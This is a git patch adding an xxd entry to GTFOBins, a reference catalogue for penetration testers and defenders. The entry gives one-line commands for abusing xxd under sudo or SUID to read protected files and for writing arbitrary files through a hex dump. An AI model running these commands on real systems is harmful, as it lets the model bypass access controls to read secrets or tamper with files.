From f6e3f6898ae6d0b1c539c135fcff616e272a50b7 Mon Sep 17 00:00:00 2001 From: Dov Murik Date: Tue, 12 Jun 2018 14:08:10 +0000 Subject: [PATCH] Add xxd --- _gtfobins/xxd.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 _gtfobins/xxd.md diff --git a/_gtfobins/xxd.md b/_gtfobins/xxd.md new file mode 100644 index 0000000..5e8618d --- /dev/null +++ b/_gtfobins/xxd.md @@ -0,0 +1,20 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo xxd "$LFILE" | xxd -r + suid-enabled: + - code: | + LFILE=file_to_read + ./xxd "$LFILE" | xxd -r + file-read: + - code: | + LFILE=file_to_read + xxd "$LFILE" | xxd -r + file-write: + - description: The content of the file to write is given in hex dump (`data\n` is `646174610a`) + code: | + LFILE=file_to_write + echo "0: 646174610a" | xxd -r - "$LFILE" +---